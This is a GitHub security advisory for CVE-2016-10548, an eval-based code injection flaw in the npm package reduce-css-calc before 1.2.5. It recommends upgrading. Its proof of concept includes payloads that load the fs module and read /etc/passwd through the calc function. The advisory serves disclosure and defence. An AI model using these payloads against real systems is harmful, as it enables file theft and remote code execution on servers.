Skip to content

Arbitrary Code Injection in reduce-css-calc

Critical severity GitHub Reviewed Published Jun 7, 2018 to the GitHub Advisory Database • Updated Jan 9, 2023

Package

npm reduce-css-calc (npm)

Affected versions

< 1.2.5

Patched versions

1.2.5

Description

Affected versions of reduce-css-calc pass input directly to eval. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.

Proof of Concept

const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc(                       (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc(                       (fs['readFileSync']("/etc/passwd", "utf-8")))`));

Recommendation

Update to version 1.2.5 or later.

References

Published to the GitHub Advisory Database Jun 7, 2018
Reviewed Jun 16, 2020
Last updated Jan 9, 2023

Severity

Critical

EPSS score

0.190%
(57th percentile)

Weaknesses

CVE ID

CVE-2016-10548

GHSA ID

GHSA-4662-j96g-mv46

Source code

No known source code
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.